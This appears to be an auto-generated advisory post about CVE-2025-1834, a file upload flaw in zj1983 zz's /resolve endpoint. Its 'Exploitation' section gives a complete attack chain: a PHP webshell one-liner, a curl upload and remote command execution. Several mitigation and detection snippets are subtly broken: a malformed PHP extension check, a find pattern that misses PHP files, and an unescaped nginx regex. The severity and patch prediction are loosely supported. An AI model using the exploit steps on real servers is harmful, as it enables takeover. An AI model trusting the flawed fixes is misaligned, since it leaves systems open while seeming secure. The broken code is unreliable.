Listen to this Post
How the CVE Works
CVE-2025-1834 is a critical unrestricted file upload vulnerability in zj1983 zz (up to version 2024-8). The flaw exists in the `/resolve` endpoint, where improper validation of the `file` parameter allows attackers to upload malicious files (e.g., webshells, executables) remotely. Due to missing sanitization, an attacker can bypass restrictions, execute arbitrary code, and gain server control. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L) confirms network-based exploitation with low attack complexity.
DailyCVE Form
Platform: zj1983 zz
Version: ≤ 2024-8
Vulnerability: Unrestricted upload
Severity: Critical
Date: 05/25/2025
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation:
1. Craft malicious file (e.g., `.php` webshell):
echo '<?php system($_GET["cmd"]); ?>' > exploit.php
2. Upload via `/resolve` endpoint:
curl -X POST -F "[email protected]" http://target/resolve
3. Execute arbitrary commands:
curl http://target/uploads/exploit.php?cmd=id
Mitigation:
1. Input Validation:
$allowed_ext = ['jpg', 'png'];
if (!in_array(pathinfo($_FILES['file']['name'], $allowed_ext)) { die("Invalid file"); }
2. File Content Verification:
file --mime-type uploads/file - | grep -q 'image/'
3. Web Server Restrictions:
location /uploads {
deny all;
location ~ .(php|exe)$ { return 403; }
}
Detection:
1. Log analysis for suspicious uploads:
grep "POST /resolve" /var/log/nginx/access.log | grep -E ".(php|exe)"
2. Filesystem monitoring:
find /uploads -type f -name ".php" -mtime -1
Patch Advisory:
- Vendor notification pending.
- Temporary fix: Disable `/resolve` endpoint or implement strict file-type whitelisting.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
